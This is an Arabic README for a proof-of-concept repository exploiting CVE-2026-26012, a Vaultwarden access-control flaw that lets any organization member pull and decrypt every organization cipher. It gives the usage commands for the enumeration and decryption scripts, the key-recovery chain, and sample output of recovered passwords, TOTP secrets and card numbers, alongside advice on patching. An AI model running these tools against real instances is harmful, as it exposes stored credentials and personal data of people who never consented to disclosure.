
إثبات مفهوم لاستغلال CVE-2026-26012، وهو ثغرة في التحكم بالوصول في Vaultwarden تسمح لأي عضو في المؤسسة بتعداد وفك تشفير جميع التشفيرات، متجاوزًا صلاحيات المجموعة.
تعداد كامل للـ Ciphers متجاهلاً صلاحيات الوصول للمجموعات
إثبات مفهوم لاستغلال CVE-2026-26012، وهي ثغرة في التحكم بالوصول في Vaultwarden (<= 1.35.2) تسمح لأي عضو في المؤسسة باسترجاع وفك تشفير جميع الـ ciphers داخل المؤسسة، بغض النظر عن صلاحيات مستوى المجموعة.
🤖 ملاحظة: تم تطوير هذا المشروع بمساعدة Claude 3 Opus. تم استخدام الذكاء الاصطناعي لتوليد الكود والبنية المعمارية والتوثيق. تمت مراجعة جميع المخرجات واختبارها يدوياً لضمان الجودة.
| CVE | CVE-2026-26012 |
| الاستشارة الأمنية | GHSA-h265-g7rm-h337 |
| الإصدارات المتأثرة | Vaultwarden ≤ 1.35.2 |
| تم الإصلاح في | 1.35.3 |
| CVSS 3.1 | 6.5 (متوسطة) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — تفويض غير صحيح |
| الفضل | اكتشفها @odgrso، وأصلحها @BlackDex |
نقطة النهاية API GET /api/ciphers/organization-details متاحة لأي عضو في المؤسسة. داخلياً، تستدعي Cipher::find_by_org التي تُرجع جميع الـ ciphers في المؤسسة، ثم تقدمها مع CipherSyncType::Organization دون فرض التحكم في الوصول على مستوى المجموعة.
نظراً لأن جميع ciphers المؤسسة تشترك في نفس مفتاح تشفير المؤسسة (الذي يستلمه كل عضو عند الانضمام)، يمكن فك تشفير الـ ciphers المسربة بالكامل من جهة العميل.
عضو مؤسسة عادي (مقيد بمجموعة "Public")
│
├── GET /api/sync → 5 ciphers (صحيح)
│
└── GET /api/ciphers/organization-details
└──→ 47 ciphers (جميع ciphers المؤسسة — خطأ)
└──→ 42 ciphers من مجموعات مقيدة (تسريب)
└──→ قابلة لفك التشفير بمفتاح المؤسسة الذي يمتلكه العضو بالفعل
.
├── README.md # هذا الملف
├── poc_cve_2026_26012.py # المرحلة 1: تعداد الـ ciphers واكتشاف التسريب
├── poc_decrypt.py # المرحلة 2: استعادة مفتاح المؤسسة وفك تشفير الـ ciphers
└── LICENSE
cryptography (للفك في المرحلة 2)argon2-cffi (فقط إذا كانت النسخة المستهدفة تستخدم Argon2id KDF)pip install cryptography
pip install argon2-cffi # اختياري
يكتشف ما إذا كانت النسخة معرضة للثغرة بمقارنة الـ ciphers التي يُرجعها نقطة النهاية العادية /api/sync مقابل نقطة النهاية المعرضة /api/ciphers/organization-details.
# قم بالمصادقة عبر المتصفح (يدعم SSO + 2FA)، ثم مرر رمز Bearer
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# رمز Bearer (موصى به — يعمل مع SSO + 2FA)
--token "eyJhbGciOi..."
# ملف تعريف الارتباط للجلسة
--cookie "VAULTWARDEN_SESSION=abc123..."
# رأس Cookie خام (ملفات تعريف ارتباط متعددة)
--cookie-header "session=abc; token=xyz"
# تسجيل دخول مباشر بكلمة المرور (بدون SSO، بدون 2FA فقط)
--email [email protected] --password "MasterPassword"
كيفية استخراج رمز Bearer الخاص بك:
/api/... وانسخ قيمة رأس Authorization--no-verify-ssl # تخطي التحقق من SSL (شهادات موقعة ذاتياً)
--show-all # عرض الـ ciphers المتاحة بشكل شرعي أيضاً
--max-display 50 # الحد الأقصى للـ ciphers المسربة للعرض (الافتراضي: 20)
--output results.json # تصدير النتائج الكاملة إلى JSON
يستعيد مفتاح تشفير المؤسسة ويفك تشفير جميع الـ ciphers المسربة من المرحلة 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
ملاحظة:
--master-passwordهي كلمة مرور Vaultwarden الرئيسية الخاصة بك، وتُستخدم محلياً لاشتقاق سلسلة مفاتيح فك التشفير. لا يتم إرسالها أبداً عبر الشبكة. رمز--tokenيتولى مصادقة API.
استكشاف الأخطاء: إذا فشل فك تشفير المفتاح، أضف
--debugلرؤية القيم الوسيطة في كل خطوة. يحاول السكربت تلقائياً 5 استراتيجيات (HKDF الحديث، HMAC القديم، المفتاح الخام، ومتغيرات HMAC-skip) للتعامل مع أعمار الحسابات والإعدادات المختلفة.
إذا كان لديك بالفعل مفتاح المؤسسة بطول 64 بايت (128 حرفاً سداسياً عشرياً):
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === سلسلة استعادة المفتاح ===
[1/6] جلب معاملات KDF...
KDF: PBKDF2-SHA256, iterations: 600000
[2/6] اشتقاق المفتاح الرئيسي...
[3/6] تمديد المفتاح الرئيسي (HKDF-Expand)...
[4/6] جلب المفاتيح المشفرة من /api/sync...
المؤسسة: ACME Corp
[5/6] فك تشفير المفتاح المتماثل للمستخدم...
[6/6] فك تشفير المفتاح الخاص RSA → مفتاح المؤسسة...
[+] تم استعادة مفتاح المؤسسة بنجاح!
[*] فك تشفير 42 cipher(s)...
============================================================
نتائج فك التشفير
============================================================
الإجمالي: 42
تم فك التشفير: 42
الأخطاء: 0
ملخص التأثير
كلمات مرور مستعادة: 35
أسرار TOTP مستعادة: 12
أرقام بطاقات مستعادة: 3
============================================================
كل عضو في المؤسسة يمتلك بالفعل المفتاح المتماثل للمؤسسة، مشفراً بمفتاح RSA العام الخاص به. سلسلة فك التشفير هي:
كلمة المرور الرئيسية + البريد الإلكتروني
│ PBKDF2-SHA256 أو Argon2id
▼
المفتاح الرئيسي (32 بايت)
│ HKDF-Expand-SHA256
▼
المفتاح الممدد: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (يفك تشفير profile.key)
▼
المفتاح المتماثل للمستخدم: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (يفك تشفير profile.privateKey)
▼
المفتاح الخاص RSA (2048-bit PKCS#8 DER)
│ RSA-OAEP-SHA1 (يفك تشفير profile.organizations[].key)
▼
مفتاح المؤسسة: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
بيانات cipher مفكوكة التشفير
في نموذج Bitwarden/Vaultwarden، جميع الـ ciphers في المؤسسة تشترك في نفس مفتاح التشفير. التحكم في الوصول القائم على المجموعات يُفرض على الخادم فقط — النموذج التشفيري لا يفرض حدود المجموعات. أي عضو يمتلك مفتاح المؤسسة يمكنه فك تشفير أي cipher في المؤسسة. هذه الثغرة تتجاوز فلتر الخادم، مما يعرض جميع الـ ciphers لأي عضو.
| نوع الـ Cipher | الحقول المفكوكة |
|---|---|
| تسجيل دخول | اسم المستخدم، كلمة المرور، سر TOTP، URIs |
| بطاقة | حامل البطاقة، الرقم، CVV، تاريخ الانتهاء |
| هوية | الاسم، رقم الضمان الاجتماعي، جواز السفر، العنوان، الهاتف، البريد الإلكتروني |
| ملاحظة آمنة | محتوى الملاحظة الكامل |
| جميع الأنواع | الحقول المخصصة، بيانات المرفقات الوصفية |
قم بتحديث Vaultwarden إلى 1.35.3 أو أحدث فوراً.
docker pull vaultwarden/server:1.35.3
بعد التحديث، أعد تشغيل المرحلة 1 للتأكد من الإصلاح — يجب أن يبلغ الأداة NOT VULNERABLE.
إذا كنت تشغل نسخة معرضة للثغرة في مؤسسة متعددة المستخدمين:
/api/ciphers/organization-detailsتم نشر إثبات المفهوم هذا بعد الكشف العلني عن الثغرة وإصلاحها:
لن يكون إثبات المفهوم هذا موجوداً لولا عمل الباحثين الأمنيين الأصليين والمشرفين:
| الدور | من | المساهمة |
|---|---|---|
| مُبلغ الثغرة | @odgrso | اكتشف وأفصح مسؤولاً عن CVE-2026-26012 |
| مطور المعالجة | @BlackDex | طور وشحن الإصلاح في Vaultwarden 1.35.3 |
| مشرف المشروع | @dani-garcia | منشئ Vaultwarden، نسّق الاستشارة والإصدار |
شكراً لكم على الحفاظ على أمان النظام البيئي مفتوح المصدر.
إثبات المفهوم هذا مقدم حصرياً لأغراض الاختبار الأمني المصرح به والتعليم. يجب أن يكون لديك تفويض كتابي صريح قبل اختبار أي نظام لا تملكه. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب CFAA (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، والقوانين المماثلة في جميع أنحاء العالم. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
MIT — انظر LICENSE.